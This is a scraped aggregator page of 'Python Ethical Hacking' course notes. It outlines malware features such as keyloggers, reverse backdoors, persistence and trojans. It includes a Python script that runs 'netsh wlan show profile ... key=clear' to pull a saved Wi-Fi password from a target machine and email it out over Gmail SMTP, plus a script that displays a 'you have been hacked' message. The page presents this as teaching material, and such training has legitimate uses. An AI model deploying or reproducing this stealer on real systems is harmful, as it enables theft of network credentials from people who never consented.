zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    WRITING MALWARE

    • Download file.
    • Execute Code.
    • Send Report.
    • Download & Execute.
    • Execute & Report.
    • Download, Execute & Report.

    KEYLOGGER

    A program that records keys pressed on the keyboard.

    REVERSE_BACKDOOR

    • Access file system.
    • Execute system commands.
    • Download files.
    • Upload files.
    • Persistence.

    PROGRAMMING TROJANS

    CROSS-PLATFORM COMPATIBILITY

    EXECUTE_COMMAND

    Execute system command on target.

    le:

    • if a program is executed on Windows -> execute windows commands.
    • if a program is executed on Mac OS X -> execute Unix commands.

    After packaging:

    • Execute any system command on any OS using a single file. 
    #!/usr/bin/env python
    
    import subprocess
    
    command = "msg * you have been hacked"
    subprocess.Popen(command, shell=True)

    Execute AND Report

    Execute system command on the target and send the result to email.

    #!/usr/bin/env python
    
    import smtplib
    import subprocess
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    command = "netsh wlan show profile "Panda Home" key=clear"
    result = subprocess.check_output(command, shell=True)
    send_mail("aaaa@gmail.com", "1111111", result)

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    TCP三次握手四次挥手
    TCP与UDP的区别
    mysql从库设置全局只读,并创建普通账号
    docker安装mysql主从
    mysql 更换数据目录
    Docker 部署 ElasticSearch
    js获取地址栏传参
    PHP-MySQL基本操作
    基于element-tree-table树型表格点击节点请求数据展开树型表格
    拖拽读取文件
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11604807.html
Copyright © 2011-2022 走看看